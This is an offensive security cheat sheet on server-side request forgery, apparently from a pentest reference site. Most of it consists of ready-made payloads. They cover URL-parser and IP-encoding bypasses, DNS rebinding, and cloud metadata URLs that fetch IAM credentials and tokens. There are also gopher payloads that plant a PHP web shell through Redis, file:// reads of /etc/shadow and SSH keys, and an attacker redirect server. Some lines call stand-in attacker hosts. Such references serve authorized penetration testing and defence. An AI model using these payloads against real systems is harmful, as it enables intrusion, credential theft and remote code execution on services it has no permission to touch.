โ† All cheat sheets

SSRF-BYPASS

Authorized use only. Offensive reference for systems you own or are explicitly permitted to test. You are responsible for staying within the law.

Comprehensive reference for Server-Side Request Forgery exploitation
and filter bypass techniques.

URL PARSER DIFFERENTIALS#

  URL Parsing Inconsistencies:
    # Different libraries parse URLs differently
    # Exploit differences between validation parser and request parser

    # Authority confusion
    http://evil.com@127.0.0.1        # Userinfo treated as host by some parsers
    http://127.0.0.1@evil.com        # Host treated as userinfo by some parsers

    # Fragment bypass
    http://evil.com#@127.0.0.1       # Fragment ignored by browser, not by parser
    http://127.0.0.1#.evil.com       # May bypass domain allowlist

    # Backslash confusion
    http://evil.com\@127.0.0.1       # Some parsers treat \ as /
    http://127.0.0.1\.evil.com

    # URL encoding in authority
    http://127.0.0.1%2f@evil.com
    http://evil.com%2f127.0.0.1

    # Null byte injection
    http://127.0.0.1%00.evil.com

    # Tab and newline characters
    http://127.0.0.1%09.evil.com
    http://127.0.0.1%0d%0a.evil.com

  Parser-Specific Issues:
    # Python urllib vs requests
    # Java URL vs URI
    # PHP parse_url vs cURL
    # Node.js url.parse (legacy) vs new URL()

    # PHP parse_url bypass
    0://evil.com;google.com      # parse_url returns google.com as host
    http://evil.com:80#@google.com

    # Python urllib
    http://127.0.0.1\r\n\r\nINJECTED

IP ENCODING TRICKS#

  Target: 127.0.0.1

  Decimal (DWORD):
    http://2130706433                  # 127*256^3 + 0*256^2 + 0*256 + 1

  Hexadecimal:
    http://0x7f000001
    http://0x7f.0x0.0x0.0x1
    http://0x7f.0.0.1

  Octal:
    http://0177.0.0.1
    http://0177.0.0.01
    http://0177.00.00.01

  Mixed encoding:
    http://0x7f.0.0.1                 # Hex + decimal
    http://0177.0.0.0x1               # Octal + hex
    http://0x7f.0.01                  # Hex + octal

  IPv6:
    http://[::1]
    http://[0:0:0:0:0:0:0:1]
    http://[::ffff:127.0.0.1]
    http://[0000::0001]
    http://[::1%25]                   # With zone ID
    http://[::ffff:7f00:1]

  Special Addresses:
    http://0                          # 0.0.0.0 (may resolve to localhost)
    http://0.0.0.0
    http://127.1                      # Short form of 127.0.0.1
    http://127.0.1                    # Short form
    http://127.127.127.127            # Still loopback
    http://2130706433                 # Decimal 127.0.0.1

  Target: 169.254.169.254 (AWS metadata)

  Decimal:
    http://2852039166                  # 169*256^3 + 254*256^2 + 169*256 + 254

  Hexadecimal:
    http://0xa9fea9fe

  Octal:
    http://0251.0376.0251.0376

  Mixed:
    http://0xa9.254.0xa9.254
    http://0251.0xfe.0251.0xfe

DNS REBINDING#

  Concept:
    - Register a domain that alternates between attacker IP and internal IP
    - First DNS resolution: returns attacker IP (passes validation)
    - Second DNS resolution: returns 127.0.0.1 (hits internal service)

  Tools:
    # rbndr.us (DNS rebinding service)
    # Resolves to two IPs alternately
    http://7f000001.ATTACKER-IP.rbndr.us

    # Taviso's rebinder
    # https://lock.cmpxchg8b.com/rebinder.html

    # Custom DNS server with short TTL
    # Configure A record to alternate between IPs with TTL=0

  Services:
    # nip.io - wildcard DNS
    http://127.0.0.1.nip.io
    http://169.254.169.254.nip.io

    # sslip.io
    http://127-0-0-1.sslip.io

    # Custom domain pointing to 127.0.0.1
    # Register domain, set A record to 127.0.0.1

  Defense Evasion:
    - Some defenses resolve DNS once and cache
    - Use TOCTOU (time-of-check-time-of-use) race condition
    - Set DNS TTL to 0 to force re-resolution
    - Some resolvers ignore TTL=0, use TTL=1

CLOUD METADATA ENDPOINTS#

  AWS (IMDSv1):
    http://169.254.169.254/latest/meta-data/
    http://169.254.169.254/latest/meta-data/iam/security-credentials/
    http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
    http://169.254.169.254/latest/user-data
    http://169.254.169.254/latest/meta-data/hostname
    http://169.254.169.254/latest/meta-data/public-keys/
    http://169.254.169.254/latest/dynamic/instance-identity/document

  AWS (IMDSv2 - requires token):
    # Step 1: Get token
    PUT http://169.254.169.254/latest/api/token
    Header: X-aws-ec2-metadata-token-ttl-seconds: 21600
    # Step 2: Use token
    GET http://169.254.169.254/latest/meta-data/
    Header: X-aws-ec2-metadata-token: TOKEN

  Google Cloud (GCP):
    http://metadata.google.internal/computeMetadata/v1/
    http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
    http://metadata.google.internal/computeMetadata/v1/project/project-id
    # Requires header: Metadata-Flavor: Google
    # Try without header on older instances

    # Alternative IPs
    http://169.254.169.254/computeMetadata/v1/

  Azure:
    http://169.254.169.254/metadata/instance?api-version=2021-02-01
    http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
    # Requires header: Metadata: true

  DigitalOcean:
    http://169.254.169.254/metadata/v1/
    http://169.254.169.254/metadata/v1/id
    http://169.254.169.254/metadata/v1/user-data

  Oracle Cloud:
    http://169.254.169.254/opc/v1/instance/
    http://169.254.169.254/opc/v2/instance/

  Alibaba Cloud:
    http://100.100.100.200/latest/meta-data/

PROTOCOL SMUGGLING#

  Gopher Protocol:
    # Gopher can send arbitrary TCP data - useful for attacking internal services

    # Redis command execution via gopher
    gopher://127.0.0.1:6379/_SET%20shell%20%22%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%3F%3E%22
    gopher://127.0.0.1:6379/_CONFIG%20SET%20dir%20/var/www/html%0d%0aCONFIG%20SET%20dbfilename%20shell.php%0d%0aSAVE

    # SMTP via gopher
    gopher://127.0.0.1:25/_HELO%20evil.com%0d%0aMAIL%20FROM%3A%3Cattacker%40evil.com%3E%0d%0aRCPT%20TO%3A%3Cvictim%40target.com%3E%0d%0aDATA%0d%0a...

    # MySQL via gopher (unauthenticated)
    # Use tool: gopherus to generate payloads
    python gopherus.py --exploit mysql

  File Protocol:
    file:///etc/passwd
    file:///etc/shadow
    file:///proc/self/environ
    file:///proc/self/cmdline
    file:///proc/net/tcp
    file:///proc/net/arp
    file:///home/user/.ssh/id_rsa
    file:///var/log/apache2/access.log

  Dict Protocol:
    dict://127.0.0.1:6379/INFO
    dict://127.0.0.1:11211/stats

  TFTP:
    tftp://attacker.com/file

  LDAP:
    ldap://127.0.0.1:389/%0astats%0aquit
    ldaps://127.0.0.1/

REDIRECT-BASED SSRF#

  Open Redirect Chaining:
    # If the app follows redirects, use an open redirect to bypass filters
    # Step 1: Find open redirect on allowed domain
    https://allowed-domain.com/redirect?url=http://169.254.169.254/

    # Step 2: Use in SSRF payload
    url=https://allowed-domain.com/redirect?url=http://169.254.169.254/latest/meta-data/

  Attacker-Controlled Redirect:
    # Host a page on your server that returns a 302 redirect
    # Python: redirect server
    from http.server import HTTPServer, BaseHTTPRequestHandler
    class Handler(BaseHTTPRequestHandler):
        def do_GET(self):
            self.send_response(302)
            self.send_header('Location', 'http://169.254.169.254/latest/meta-data/')
            self.end_headers()

    # Use your server URL as the SSRF payload
    url=http://attacker-server.com/redirect

  HTTP to Non-HTTP Redirect:
    # Redirect from HTTP to gopher/file/dict
    Location: gopher://127.0.0.1:6379/_PING
    Location: file:///etc/passwd
    # Works if the HTTP client follows cross-protocol redirects

FILTER BYPASS PAYLOADS#

  Domain/IP Blocklist Bypass:
    # Localhost alternatives
    http://localtest.me            # Resolves to 127.0.0.1
    http://spoofed.burpcollaborator.net  # Your controlled DNS
    http://customer1.app.localhost  # May resolve to 127.0.0.1

    # Enclosed alphanumeric
    http://โ‘ โ‘กโ‘ฆ.โ“ช.โ“ช.โ‘            # Unicode numbers

    # URL shorteners
    http://bit.ly/XXXXX -> http://169.254.169.254/

    # Registered domain pointing to 127.0.0.1
    http://your-domain.com          # A record -> 127.0.0.1

  Keyword Bypass:
    # If "127.0.0.1" is blocked
    http://0x7f000001
    http://2130706433
    http://0177.0.0.1
    http://127.1
    http://[::1]

    # If "169.254.169.254" is blocked
    http://0xa9fea9fe
    http://2852039166
    http://[::ffff:a9fe:a9fe]
    http://169.254.169.254.nip.io

    # If "localhost" is blocked
    http://LOCALHOST
    http://Localhost
    http://localHOST
    http://127.0.0.1

  URL Encoding Bypass:
    http://%31%32%37%2e%30%2e%30%2e%31   # URL-encoded 127.0.0.1
    http://127.0.0.1%23@evil.com         # Fragment bypass
    http://127.0.0.1%2523@evil.com       # Double URL encoding

  Allowlist Bypass:
    # If only certain domains are allowed
    http://allowed.com@127.0.0.1
    http://127.0.0.1#.allowed.com
    http://allowed.com.attacker.com      # Subdomain of attacker domain
    http://attackerallowed.com            # Contains "allowed" substring

BLIND SSRF DETECTION#

  Out-of-Band Detection:
    # Use Burp Collaborator or similar
    http://COLLABORATOR-PAYLOAD.burpcollaborator.net

    # Use webhook.site for quick detection
    http://webhook.site/YOUR-UUID

    # Use interactsh
    http://PAYLOAD.interact.sh

    # DNS-only detection (no HTTP callback needed)
    # Trigger DNS lookup even if HTTP response is blocked

  Timing-Based Detection:
    # Compare response times
    url=http://127.0.0.1:80        # Fast (open port)
    url=http://127.0.0.1:81        # Slow (closed port, timeout)
    url=http://10.0.0.1:80         # Variable timing = SSRF exists

    # Internal port scanning via timing
    for port in 80 443 8080 8443 3306 5432 6379 27017; do
      # Measure response time for each port
      # Fast = open, slow/timeout = closed
    done

  Error-Based Detection:
    # Different errors for valid vs invalid targets
    url=http://127.0.0.1:80   -> "Connection refused" or content
    url=http://127.0.0.1:9999 -> "Connection timed out"
    url=http://invalid.xxx    -> "DNS resolution failed"
    # Different error messages confirm SSRF

  Response Size Differences:
    # Even without seeing the response content
    url=http://127.0.0.1:80   -> Response size: 5432 bytes
    url=http://127.0.0.1:22   -> Response size: 156 bytes (SSH banner)
    url=http://127.0.0.1:9999 -> Response size: 0 bytes

TOOLS#

  SSRFmap          - Automated SSRF exploitation
  Gopherus         - Generate gopher payloads for internal services
  Interactsh       - OOB interaction detection
  Collaborator     - Burp Suite OOB detection
  Ground Control   - Attacker-controlled HTTP redirect server
  Singularity      - DNS rebinding attack framework

INTERNAL SERVICE TARGETS#

  Common Internal Services:
    127.0.0.1:80/443      Web server
    127.0.0.1:8080/8443   Application server
    127.0.0.1:3000        Node.js / Grafana
    127.0.0.1:3306        MySQL
    127.0.0.1:5432        PostgreSQL
    127.0.0.1:6379        Redis
    127.0.0.1:27017       MongoDB
    127.0.0.1:9200        Elasticsearch
    127.0.0.1:11211       Memcached
    127.0.0.1:2375        Docker API
    127.0.0.1:5985        WinRM
    127.0.0.1:9090        Prometheus
    127.0.0.1:8500        Consul
    127.0.0.1:2379        etcd
    127.0.0.1:10250       Kubelet API